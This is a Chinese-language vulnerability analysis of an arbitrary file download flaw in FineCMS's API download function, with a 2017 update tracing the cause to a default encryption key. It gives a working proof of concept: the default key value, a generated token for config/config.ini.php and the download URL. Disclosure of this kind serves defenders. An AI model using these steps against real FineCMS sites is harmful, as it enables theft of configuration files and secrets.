漏洞文件在D:\wamp\www\controllers\ApiController.php中的downAction函数
```
/**
* 下载文件
*/
public function downAction() {
$data = fn_authcode(base64_decode($this->get('file')), 'DECODE');
$file = isset($data['finecms']) && $data['finecms'] ? $data['finecms'] : '';
if (empty($file)) {
$this->msg(lang('a-mod-213'));
}
if (strpos($file, ':/')) {
//远程
header("Location: $file");
} else {
//本地
$file = str_replace('..', '', $file);
$file = strpos($file, '/') === 0 ? APP_ROOT.$file : $file;
if (!is_file($file)) {
$this->msg(lang('a-mod-214') . '(#' . $file . ')');
};
header('Pragma: public');
header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
header('Cache-Control: no-store, no-cache, must-revalidate');
header('Cache-Control: pre-check=0, post-check=0, max-age=0');
header('Content-Transfer-Encoding: binary');
header('Content-Encoding: none');
header('Content-type: ' . strtolower(trim(substr(strrchr($file, '.'), 1, 10))));
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
header('Content-length: ' . sprintf("%u", filesize($file)));
readfile($file);
exit;
}
}
```
其中这一行
```
$data = fn_authcode(base64_decode($this->get('file')), 'DECODE');
```
获取变量file,然后解密,然后经过处理,进行文件下载,这里只要关注file变量可控即可
加密生成变量file的函数在D:\wamp\www\extensions\function.php中
```
/**
* 下载文件函数
*/
function downfile($url) {
return url('api/down', array('file' => str_replace('=', '', base64_encode(fn_authcode(array('finecms' => $url), 'ENCODE')))));
}
```
如果我们想下载config/config.ini.php文件,则本地调用即可,
echo downfile('config/config.ini.php');
生成加密后的file变量
![](https://images.seebug.org/contribute/65430311-fbfb-4e81-9dfd-4324e777e6b2)
file变量为
```
file=MDI3Y1BkSEpCVUwrRGtWOFNtZHh3OVF4TCs0ZnFCRmNyanU5RHRoV2NNTldxZURGdDVRY2pxZEdpYUVkS2NqRzMvczNhVEl6NVcwdTVwZmJaRmpxSk04Vkxab3FkL3Q1eVEvMnJqZkY
```
然后再访问
```
http://localhost/code//index.php?c=api&a=down&file=MDI3Y1BkSEpCVUwrRGtWOFNtZHh3OVF4TCs0ZnFCRmNyanU5RHRoV2NNTldxZURGdDVRY2pxZEdpYUVkS2NqRzMvczNhVEl6NVcwdTVwZmJaRmpxSk04Vkxab3FkL3Q1eVEvMnJqZkY
```
![](https://images.seebug.org/contribute/639606be-d78d-46e7-93f2-034194c82d3f)
则可以任意下载了
<br>
#### update 2017.1.20 by zjp(知道创宇404安全实验室)
原分析的文档里遗漏了关键部分的代码分析(感谢phithon牛的提醒),于是我们继续分析跟进。关键函数`fn_authcode`代码位于:`/extensions/function.php`
```
➜ FineCMS grep -r "function fn_authcode" ./
.//extensions/function.php-90-/**
.//extensions/function.php-91- * authcode函数(用于数组)
.//extensions/function.php-92- */
.//extensions/function.php:93:function fn_authcode($data, $operation = 'DECODE', $key = '', $expiry = 0) {
.//extensions/function.php-94- $ckey_length = 4;
.//extensions/function.php-95- $string = $operation == 'DECODE' ? $data : array2string($data);
.//extensions/function.php-96- $key = md5($key ? $key : SITE_MEMBER_COOKIE);
```
代码如下:
```php
function fn_authcode($data, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$string = $operation == 'DECODE' ? $data : array2string($data);
$key = md5($key ? $key : SITE_MEMBER_COOKIE);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
return string2array(substr($result, 26));
} else {
return '';
}
} else {
return $keyc . str_replace('=', '', base64_encode($result));
}
}
```
注意里面的
```php
$key = md5($key ? $key : SITE_MEMBER_COOKIE); //如果没有设置$key 就会取SITE_MEMBER_COOKIE
```
继续跟进SITE_MEMBER_COOKIE:
```
➜ FineCMS grep -r "SITE_MEMBER_COOKIE" ./
.//config/config.ini.php-14- 'SYS_LOG' => false, //程序运行日志开关,日志目录(项目目录/logs/)
.//config/config.ini.php-15- 'SYS_VAR_PREX' => 'finecms_b1bf4_', //Sessoin、Cookie变量前缀
.//config/config.ini.php-16- 'SYS_GZIP' => false, //是否Gzip压缩后输出
.//config/config.ini.php:17: 'SITE_MEMBER_COOKIE' => '2967e68d382902a', //Cookie随机字符串
.//config/config.ini.php-18- 'SESSION_COOKIE_DOMAIN' => '', //多站点会员登录状态跨域保存域名,格式如.finecms.net(只针对多站点域名全是二级域名否则请留空)
.//config/config.ini.php-19- 'SYS_EDITOR' => 'ueditor', //系统编辑器设置,默认kindeditor(自定义编辑器直接填写目录名称,如ueditor)
.//config/config.ini.php-20- 'SYS_CAPTCHA_MODE' => '0', //验证码输出模式:0,普通模式;1,兼容模式,若验证码显示不正常可在此调整输出模式
```
使用了默认值`'2967e68d382902a'`,所以我们可以得出如下结论:
`fn_authcode`函数生成的字符串在key默认情况下,只与`SITE_MEMBER_COOKIE`的值有关,属于默认配置问题。使用相同的SITE_MEMBER_COOKIE会导致文中所说的任意文件下载(线上有不少案例),当然理论上这个值也可以进行爆破的(:з」∠)。 目前官方下载的 Finecms 的`SITE_MEMBER_COOKIE`默认设置为`2967e68d382902a`
另外我们注意到ucenter的`$cookiecode`也是使用的默认,可能导致类似的安全问题
```
➜ FineCMS grep -r "2967e68d382902a" ./
.//config/config.ini.php-14- 'SYS_LOG' => false, //程序运行日志开关,日志目录(项目目录/logs/)
.//config/config.ini.php-15- 'SYS_VAR_PREX' => 'finecms_b1bf4_', //Sessoin、Cookie变量前缀
.//config/config.ini.php-16- 'SYS_GZIP' => false, //是否Gzip压缩后输出
.//config/config.ini.php:17: 'SITE_MEMBER_COOKIE' => '2967e68d382902a', //Cookie随机字符串
.//config/config.ini.php-18- 'SESSION_COOKIE_DOMAIN' => '', //多站点会员登录状态跨域保存域名,格式如.finecms.net(只针对多站点域名全是二级域名否则请留空)
.//config/config.ini.php-19- 'SYS_EDITOR' => 'ueditor', //系统编辑器设置,默认kindeditor(自定义编辑器直接填写目录名称,如ueditor)
.//config/config.ini.php-20- 'SYS_CAPTCHA_MODE' => '0', //验证码输出模式:0,普通模式;1,兼容模式,若验证码显示不正常可在此调整输出模式
--
--
.//extensions/ucenter/config.inc.php-39-$cookiedomain = '';
.//extensions/ucenter/config.inc.php-40-$cookiepath = '/';
.//extensions/ucenter/config.inc.php-41-$cookiepre = 'finecms_b1bf4_';
.//extensions/ucenter/config.inc.php:42:$cookiecode = '2967e68d382902a';
.//extensions/ucenter/config.inc.php-43-?>
```
全部评论 (4)